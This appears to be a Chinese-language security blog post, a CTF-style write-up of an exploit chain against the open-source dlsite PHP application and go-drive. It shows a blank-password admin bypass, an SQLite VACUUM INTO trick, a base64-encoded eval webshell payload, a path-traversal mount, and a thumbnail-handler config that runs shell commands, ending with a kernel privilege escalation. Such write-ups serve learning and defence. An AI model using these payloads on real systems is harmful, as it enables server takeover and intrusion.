萦梦sora~Nya

统计加载中...

Announcement

欢迎来到萦梦sora~的站点，底层协议生效中~~~

Learn More

标签

站点统计

文章

35

分类

3

标签

17

总字数

56,104

运行时长

0 天

最后活动

0 天前

1390 字

7 分钟

空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

2026-05-12

网络安全

网络

/

安全

/

CVE

统计加载中...

dlsite(空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root)#

看看主站是什么

1
Your site is working normally! Access data at /data, or new site at /new

没发现端倪，附件只给了个docker，去看看

1
RUN cd /var/www/html && \
2
    rm -rf ./* && \
3
    git clone --depth=1 https://github.com/mnihyc/dlsite.git . && \
4
    touch index.html && \
5
    sed -i '9 i Your site is working normally! Access data at <a href="/data/">/data</a>, or new site at <a href="/new/#/_/test">/new</a>' dl/index.html && \
6
    ln -s /app/data/local/test dl/data && \
7
    sqlite3 db.sqlite "CREATE TABLE CONFIG(NAME NTEXT NOT NULL,TYPE NTEXT NOT NULL,VALUE NTEXT NOT NULL,PRIMARY KEY (NAME,TYPE));" && \
8
    chown -R root:www-data . && \
9
    find . -type d -exec chmod 1775 {} + && \
10
    find . -type f -exec chmod 0664 {} +

这里看到后端是https://github.com/mnihyc/dlsite

并且继续往下，

1
RUN cat > /etc/apache2/sites-available/000-default.conf <<'EOF'
2
<VirtualHost *:80>
3
    ServerAdmin webmaster@localhost
4
    DocumentRoot /var/www/html
5

6
    RewriteEngine On
7
    RewriteCond %{REQUEST_URI} !^/(main\.php|assets/|favicon\.ico$|robots\.txt$|new(?:/|$)|ancient(?:/|$))
8
    RewriteRule ^ /main.php [L]
9

10
    <Directory /var/www/html>
11
        Options FollowSymLinks
12
        AllowOverride None
13
        Require all granted
14
    </Directory>
15

16
    <FilesMatch \.php$>
17
        SetHandler "proxy:unix:/run/php/php-fpm.sock|fcgi://localhost"
18
    </FilesMatch>
19

20
    <Directory /app/data/local/test>
21
        Options FollowSymLinks
22
        AllowOverride None
23
        Require all granted
24
    </Directory>
25

26
    ProxyPreserveHost On
27
    <LocationMatch "^/ancient$">
28
        SetHandler "proxy:unix:/run/apache2/ancient.sock|fcgi://localhost"
29
        ProxyFCGIBackendType GENERIC
30
        ProxyFCGISetEnvIf "true" SCRIPT_FILENAME "/app/data/local/test/index.cgi"
31
        ProxyFCGISetEnvIf "true" SCRIPT_NAME "/ancient"
32
    </LocationMatch>
33
    Alias /ancient/ /app/data/local/test/
34

35
    ProxyPass /new http://127.0.0.1:8089/new
36
    ProxyPassReverse /new http://127.0.0.1:8089/new
37

38
    ErrorLog ${APACHE_LOG_DIR}/error.log
39
    CustomLog ${APACHE_LOG_DIR}/access.log combined
40
</VirtualHost>
41
EOF

apache将main.php后跟着的现存目录都重定向回去，.php走socket直接给php-fpm

接下来就是审计后端

1
if(!OLDSTYLE_PATH || SUPPORT_NEWPATH)
2
    {
3
        $ismanage=($opath=='/manage');
4
        if($opath=='/view' || $opath=='/down' || $opath=='/manage')
5
        {
6
            $ropath='';
7
            if(substr($inpasswd,0,2)=='p=')
8
            {
9
                $ropath=substr($inpasswd,2);
10
                if($ismanage)
11
                    $inpasswd='manage';
12
                else
13
                    $inpassver=isset($_POST['pass']);
14
                if(($vpos=strpos($ropath,'&'))!==FALSE)
15
                {
16
                    $inpasswd=substr($ropath,$vpos+1);
17
                    $inpassver|=!empty($inpasswd);
18
                    $ropath=substr($ropath,0,$vpos);
19
                }
20
            }

如果请求是/mange，覆盖$inpasswd=‘manage’;

然后截取的就是密码字段，接着就是

1
if($inpasswd==='manage')
2
    {
3
        ob_start();
4
        htmlmsg();
5
        if(checkmanagepassword())
6
        {
7
            /* Insert a record */
8
            if(isset($_POST['qi']))
9
            {
10
                global $db;
11
                $db->execwf("INSERT INTO CONFIG (NAME,TYPE,VALUE) VALUES ('{$db->escapeString($_POST['namei'])}','{$db->escapeString($_POST['typei'])}','{$db->escapeString($_POST['valuei'])}')");
12
            }
13
            /* Delete a record */
14
            if(isset($_POST['qd']))
15
            {
16
                global $db;
17
                $db->execwf("DELETE FROM CONFIG WHERE NAME='{$db->escapeString($_POST['named'])}' AND TYPE='{$db->escapeString($_POST['typed'])}'");
18
            }
19
            /* Update a record */
20
            if(isset($_POST['qu']))
21
            {
22
                global $db;
23
                $db->execwf("UPDATE CONFIG SET VALUE='{$db->escapeString($_POST['valueu'])}' WHERE NAME='{$db->escapeString($_POST['nameu'])}' AND TYPE='{$db->escapeString($_POST['typeu'])}'");
24
            }
25

26
            if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
27
                $opath.='/';
28
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
29
            if(isset($_POST['sql']) && !empty($_POST['sql']))
30
                $qsql=$_POST['sql'];
31
            $qnamei=$opath;
32
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
33
                $qnamei=$_POST['namei'];
34
            global $db;
35
            $res=$db->queryarr($qsql);

发现在check时候

1
function checkmanagepassword()
2
    {
3
?>
4
<div class="table-responsive">
5
        <table class="table table-striped table-sm">
6
            <thead>
7
                <tr>
8
                    <th class="d-table-cell">
9
                        <div class="container">
10
                            <p class="lead text-center">A <strong>password</strong> verification is required to access this page. <br></p>
11
<?php
12
        $passvld=true;
13
        if(isset($_POST['manage']))
14
        {
15
            $_SESSION['manage']=gethashedpass($_POST['manage']);
16
            $_SESSION['expired']=time();
17
        }
18

19
        if(!isset($_SESSION['expired']))
20
            $passvld=false;
21
        else if(abs(time()-$_SESSION['expired'])>=3600*24)
22
        {
23
            $passvld=false;
24
            echo '<p class="lead text-center">Verification <span style="color: red;"><strong>expired</strong></span>.</p>';
25
        }
26
        else
27
        {
28
            if($_SESSION['manage']===MANAGE_PASSWORD)
29
            {
30
                $passvld=true;
31
                echo '<p class="lead text-center">Verification <span style="color: green;"><strong>passed</strong></span>.</p>';
32

33
            }
34
            else
35
            {
36
                $passvld=false;
37
                echo '<p class="lead text-center">Verification <span style="color: red;"><strong>failed</strong></span>.</p>';
38
            }
39
        }
40
        if(!$passvld)
41
        {
42
?>

直接

1
if($_SESSION['manage']===MANAGE_PASSWORD)
2
            {
3
                $passvld=true;

就可以返回true

而这个默认的密码是空密码

1
/* Encrypted password of the management page (keep it SECRET) */
2
    /* The way to compute: md5(md5(PSWD).'+'.sha1(PSWD)) */
3
    /* Default value 7f6d747029adeefe073804e34b089020 means blank password */
4
    define('MANAGE_PASSWORD','7f6d747029adeefe073804e34b089020');

在直接传入/mange?p=，密码字段滞空，就会让check直接返回true，进入后台，审计下后台可做操作

这里

1
if(is_dir(__DIR__.FILE_DIR.$opath) && substr($opath,-1,1)!=='/')
2
                $opath.='/';
3
            $qsql="SELECT NAME,TYPE,VALUE FROM CONFIG WHERE NAME LIKE '{$db->escapeString($opath)}%'";
4
            if(isset($_POST['sql']) && !empty($_POST['sql']))
5
                $qsql=$_POST['sql'];
6
            $qnamei=$opath;
7
            if(isset($_POST['qi']) && isset($_POST['namei']) && !empty($_POST['namei']))
8
                $qnamei=$_POST['namei'];
9
            global $db;
10
            $res=$db->queryarr($qsql);

$qsql可以直接进行sql语句执行

这样，我们可以执行sql语句，那么怎么落地文件呢，这里要回到sqlite本身的语法

在上面已经看到过config的示例表了，直接可以插入字段，一共三个字段

在第一段插入php代码，但是如何落地

VACUUM INTO filename;语法

是可以将现在的数据库文件直接复制一份到指定目录的

虽然大部分都是二进制，但是我们其中的php代码不会被转义

我们将这个文件命名后缀为php然后

1
INSERT OR REPLACE INTO CONFIG (NAME, TYPE, VALUE)
2
VALUES (
3
  'sora_payload',
4
  'php',
5
  '<?php file_put_contents("/var/www/html/dl/ws.php",base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWyJjIl0pOz8+"));?>'
6
);

这样就可以将base64编码后的webshell直接插入可访问的目录

达成基础的php rce，但是如何上升系统，因为php端有很多限制

1
open_basedir = /var/www/html:/tmp:/app/data/local/test
2
disable_functions = system, exec, shell_exec, passthru, proc_open, popen, copy, rename, unlink, symlink, ...

可以看看docker配置的第二部分

被app直接拉起来，并且

1
[program:go-drive]
2
command=/usr/local/bin/no_priv /usr/local/bin/go-drive-bootstrap.sh
3
directory=/app
4
user=app
5
priority=30
6
autostart=true
7
autorestart=true
8
startsecs=0
9
stdout_logfile=/dev/fd/1
10
stdout_logfile_maxbytes=0
11
stderr_logfile=/dev/fd/2
12
stderr_logfile_maxbytes=0

并且autorestart=true，这里可以看看重启的用户和这个框架重启的逻辑

1
localRoot, _ := driveUtils.Config.GetLocalFsDir()
2
path, _ = filepath.Abs(filepath.Join(localRoot, path))
3
if exists, _ := utils.FileExists(path); !exists {
4
    return nil, notFound
5
}
6
return &Drive{path}, nil

这里并没有检查filepath是否有路径穿越，而这又不是php配置的内容，所以可以绕开php.ini的封锁

新建 fs drive 时填：

1
../../../../app
2
filepath.Join("/app/data/local", "../../../../app")

最后会变成：

1
/app

所以我们可以通过new去挂载服务器的目录到后台，有点像访问指向

所以把管理略缩图的config挂载之后下载之后改

1
thumbnail:
2
  handlers:
3
    - type: shell
4
      tags:
5
      file-types: cmd
6
      config:
7
        shell: sh /tmp/cmd.sh
8
        mime-type: text/plain
9
        write-content: false
10
        max-size: -1
11
        timeout: 30s

shell指的是这个类型用shell处理

也就是：生成缩略图时，可以执行外部命令。

并且定义后缀为cmd，也就是说当cmd后缀时

调用sh /tmp/cmd.sh，并且返回text

因为 PHP 的 open_basedir 允许 /tmp，所以可以用 ws.php 写：

1
file_put_contents("/tmp/cmd.sh", "id\nwhoami\nuname -a\n");
2
file_put_contents("/tmp/probe.cmd", "");

于是也就拿到了系统命令的RCE，但是依旧是要提权的

当然在这之前，配置项的文件虽然改变了，但是实际上内存还是没有变化的，

依旧需要重启这个服务，这里就要提到让这个go的程序崩溃的方法了

一个方法就是调用动态脚本处理文件，

再非预期去返回flase，

1
func (d *ScriptDrive) Save(...) error {
2
    result := runJS(...)
3
    return result
4
}

这里的result如果是none在后面做path的时候就会

panic: runtime error: invalid memory address or nil pointer dereference

提权阶段，

依旧是看看suid，以及其他的服务有没有

但是这里的服务是通过no_prive起的，并且

1
struct sock_fprog prog = { sizeof(filter) / sizeof(filter[0]), filter };
2
    if (argc < 2) return 127;
3
    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) return 126;
4
    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) return 126;
5
    execvp(argv[1], argv + 1);
6
    return 127;
7
}

这里PR_SET_NO_NEW_PRIVS指的是不让它起的新程序获得新的权限

所以当前是没法进行直接su的

我尝试了最近的核弹检测POC， CVE-2026-31431

ta的内核并未打补丁，成功提权

当然。此类CVE解析很多，就不赘述了

空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root

https://steins-gate.cn/posts/dlsite/

作者

YMsora~X

发布于

2026-05-12

许可协议

Unlicensed

部分信息可能已经过时

markdown2(Markdown 双哈希逃逸：Bleach 清洗后 markdown2 SafeMode 的 Alt 属性 XSS 完整链路)

萦梦sora~Nyaの安全Blog

dlsite(空密码后台 → SQLite 落地 Webshell → 内核 CVE-2026-31431 root)#